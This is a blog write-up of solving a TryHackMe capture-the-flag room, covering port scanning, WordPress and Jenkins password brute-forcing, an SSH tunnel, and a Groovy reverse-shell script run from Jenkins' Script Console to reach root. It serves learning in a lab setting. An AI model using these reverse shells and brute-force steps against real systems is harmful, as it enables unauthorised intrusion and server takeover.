TryHackMe | Internal

I finally completed my first ever hard TryHackMe room called Internal.  It had a lot of unique methods of exploit including some I hadn't encountered before.  It involved using a lot of tools and using experience gained from other earlier CTFs.

Port Scanning

I started by scanning the open ports on the server.

└─$ nmap -p- -sV -oN internal.nmap
Starting Nmap 7.91 ( ) at 2021-04-09 14:54 CEST
Nmap scan report for
Host is up (0.044s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Directory Enumeration

Once I had determined that there was a web server running on port 80, I decided to do a scan for directories with gobuster, which yielded the following results.

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/04/09 14:54:52 Starting gobuster in directory enumeration mode
/.htpasswd            (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/blog                 (Status: 301) [Size: 313] [-->]
/index.html           (Status: 200) [Size: 10918]
/javascript           (Status: 301) [Size: 319] [-->]
/phpmyadmin           (Status: 301) [Size: 319] [-->]
/server-status        (Status: 403) [Size: 278]
/wordpress            (Status: 301) [Size: 318] [-->]

WordPress Enumeration and brute-force

I initially visited the /blog sub-directory and was greeted with what looked like a standard WordPress blog site.  I started up wpscan and set it up to enumerate for valid usernames.

└─$ wpscan -e u --url http://internal.thm/blog


[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <===================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Once I knew that there was a user called 'admin', I ran wpscan again, this time using the rockyou.txt password list to try and brute-force the password for the admin user.  This yielded a password I could use to log in to the WordPress admin panel.

Wordpress Admin Panel

I tried to upload some reverse-shell code packaged as a WordPress Plugin but unfortunately, this didn't work, as the wp-content folder was not writable.  

Instead, I modified the existing theme template and added my reverse-shell code there, in the index.php file.

save and refresh the page and you have a shell

Horizontal Privilege Escalation

After gaining a reverse shell as the www-data user, I ran but it didn't turn up anything I knew how to use.  In the end, I manually enumerated the server, until I came across an interesting file in the /opt folder called wp-save.txt.

www-data@internal:/opt$ cat wp-save.txt

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.


After logging in as aubreanna I was able to get the user flag from her home directory.

└─$ ssh aubreanna@internal.thm
aubreanna@internal.thm's password:
Last login: Mon Aug  3 19:56:19 2020 from
aubreanna@internal:~$ ls
jenkins.txt  snap  user.txt
aubreanna@internal:~$ cat user.txt

Vertical Privilege Escalation

There was another interesting file in aubreanna's home directory called jenkins.txt  This file told of the location of an internal Jenkins server running on an ip that was in a different range to that of the internal.thm server.  I suspect it was maybe running in a container.

aubreanna@internal:~$ ls
jenkins.txt  snap  user.txt
aubreanna@internal:~$ cat jenkins.txt
Internal Jenkins service is running on

SSH Tunneling

Thanks to me setting up my own Kubernetes cluster on a handful of Raspberry Pi's a couple of years ago, I was familiar with tunneling traffic through SSH.  I once had to do this to access an instance of Kubernetes Dashboard from my local machine, so this was something I at least knew was possible.

I understood that this was a way to forward traffic from one machine and port to another.  After a bit of googling to remember all the parameters, I was able to access the Jenkins server, through the following tunnel.

└─$ ssh -L aubreanna@internal.thm

This would tunnel all traffic from my local machine on port 8080, through the internal.thm server to the destination network address of the Jenkins server.

I could now access Jenkins from my local machine.

Jenkins Brute-Force

Never been this happy to see a Jenkins login page before

Now I had to brute-force the jenkins login.  For this I used a module built in to Metasploit that I found after searching for jenkins in the app.

└─$ msfconsole -q
msf6 > use auxiliary/scanner/http/jenkins_login
msf6 auxiliary(scanner/http/jenkins_login) >

I set the required options for the module, such as RHOSTS, RPORT, USERNAME and PASS_FILE.  I chose to use the rockyou.txt wordlist again for this attack.

Eventually, it found a valid password and I was able to log in as the admin user on the Jenkins server.

msf6 auxiliary(scanner/http/jenkins_login) > run

[+] - Login Successful: admin:redacted
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Jenkins Reverse Shell

As the admin user, I was able to navigate to the Script Console via the 'Manage Jenkins' menu.

Lets start another reverse shell from the Script Console

The Script Console allows the admin to write scripts and have them executed on the server.  

Thankfully this included system commands.  I used the following script I found here, to create a reverse-shell.

Groovy Script

String host="";
int port=8044;
String cmd="/bin/bash";

Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();

    try {
    } catch (Exception e) {}
You can change /bin/bash for cmd.exe and it will work on Windows hosts as well

Manual Enumeration

After gaining a reverse shell as the Jenkins user, I did some more manual enumeration of the server, starting at the /opt directory again because it was used earlier.  To my sheer joy, I found a text file called note.txt which contained the root user password.  I did it!

└─$ nc -lvnp 8044
listening on [any] 8044 ...
connect to [] from (UNKNOWN) [] 51836
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
cd /opt
cat note.txt

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you
need access to the root user account.

Never leave the root password in a clear text file

Root Access

I then SSH'd into the server as the root user and captured the final root flag from /root/root.txt.

└─$ ssh root@internal.thm
root@internal.thm's password:
Last login: Mon Aug  3 19:59:17 2020 from
root@internal:~# cat /root/root.txt


What I liked the most about this room is that I was able to accomplish it the first time and didn't need to look at the walkthrough for any pointers.  It feels good when you're doing these things and you just have a feeling that you're on the right path.  

To finally get that root access at the end is always so rewarding. I look forward to learning more and tackling another hard room again soon.

Gareth Oates

Gareth Oates

Oslo, Norway